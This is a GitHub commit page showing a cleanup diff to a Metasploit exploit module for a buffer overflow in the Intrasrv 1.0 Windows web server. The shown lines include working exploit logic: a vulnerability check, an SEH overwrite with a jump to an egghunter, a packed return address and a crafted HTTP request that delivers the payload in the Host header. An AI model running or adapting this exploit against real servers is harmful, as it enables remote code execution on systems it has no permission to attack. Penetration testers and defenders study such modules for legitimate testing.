Skip to content

Commit 7014322

Browse files
committed
Code cleanup
1 parent bbc93b2 commit 7014322

File tree

1 file changed

+9
-6
lines changed

1 file changed

+9
-6
lines changed

modules/exploits/windows/http/intrasrv_bof.rb

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,11 @@ def initialize(info={})
5858
'Privileged' => false,
5959
'DisclosureDate' => "May 30 2013",
6060
'DefaultTarget' => 0))
61+
62+
register_options(
63+
[
64+
OptPort.new('RPORT', [true, 'The remote port', 80])
65+
], self.class)
6166
end
6267

6368
def check
@@ -68,7 +73,7 @@ def check
6873
return Exploit::CheckCode::Safe
6974
end
7075
sock.put("GET / HTTP/1.0\r\n")
71-
res = sock.get
76+
res = sock.get_once
7277

7378
if res =~ /intrasrv 1.0/
7479
return Exploit::CheckCode::Vulnerable
@@ -90,18 +95,16 @@ def exploit
9095
buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter
9196
buf << [target.ret].pack("V*") # seh
9297

93-
# Setup payload
94-
shellcode = egg
95-
# second last byte of payload gets corrupted - pad 2 bytes
98+
# second last byte of payload/egg gets corrupted - pad 2 bytes
9699
# so we don't corrupt the actual payload
97-
shellcode << rand_text(2)
100+
egg << rand_text(2)
98101

99102
print_status("Sending buffer...")
100103
# Payload location is an issue, so we're using the tcp mixin
101104
# instead of HttpClient here to maximize control over what's sent.
102105
# (i.e. no additional headers to mess with the stack)
103106
connect
104-
sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}")
107+
sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{egg}")
105108
disconnect
106109
end
107110
end

0 commit comments

Comments
 (0)